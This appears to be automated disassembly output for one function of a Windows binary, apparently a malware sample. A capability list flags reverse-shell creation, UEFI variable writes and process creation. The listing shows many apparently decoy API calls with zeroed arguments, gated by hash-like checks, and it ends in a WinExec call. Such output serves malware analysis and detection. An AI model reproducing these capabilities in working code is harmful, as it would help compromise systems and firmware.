Function at 0x180009a60
Capabilities:
Connect pipe
Create mailslot
Create process on windows
Create reverse shell
Get disk information
Get hostname
Move file
Query environment variable
Read pipe
Set uefi variable
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov dword [rsp + 0x58], 0x1cb
lea rax, [0x180002690]
add rax, 0x1cb
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
mov ebx, edx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.18000caa0
xor edi, edi
cmp dword [0x1800abe90], 0x9c43847b
jne 0x180009c63
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
lea rcx, [0x1800c0db0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstStreamTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetSystemCursor]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetLastErrorEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InsertMenuItemW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
call qword [sym.imp.USER32.dll_EndMenu]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RaiseException]
cmp ebx, 1
jne 0x18000a001
mov dword [rsp + 0x58], 0x143
lea rax, [0x1800065e0]
add rax, 0x143
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.18000caa0
cmp dword [0x1800abe90], 0xe003f0c1
jne 0x180009dfc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AllocateUserPhysicalPagesNuma]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor r8d, r8d
lea rdx, [0x1800c0e18]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNLSVersionEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call qword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeServerProcessId]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MoveFileTransactedW]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupRead]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PowerClearRequest]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
mov dword [rsp + 0x58], 0x277
lea rax, [0x180004700]
add rax, 0x277
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.18000caa0
cmp dword [0x1800abe90], 0x9eb07e9e
jne 0x18000a001
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov dword [rsp + 0x40], edi
xor r9d, r9d
mov dword [rsp + 0x38], edi
xor r8d, r8d
mov dword [rsp + 0x30], edi
xor edx, edx
mov dword [rsp + 0x28], edi
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.GDI32.dll_ArcTo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddResourceAttributeAce]
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCompact]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LCIDToLocaleName]
mov dword [rsp + 0x40], edi
xor r9d, r9d
mov dword [rsp + 0x38], edi
xor r8d, r8d
mov dword [rsp + 0x30], edi
xor edx, edx
mov qword [rsp + 0x28], rdi
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.GDI32.dll_BitBlt]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_EqualRgn]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMailslotW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetGlyphOutlineW]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessDEPPolicy]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetCharWidthW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_SetWorldTransform]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_SetTextColor]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov dword [rsp + 0x30], edi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CallNamedPipeW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessMitigationPolicy]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetROP2]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockFile]
xor edx, edx
lea rcx, [0x1800c0e40]
call qword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [0x1800abeb4]
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret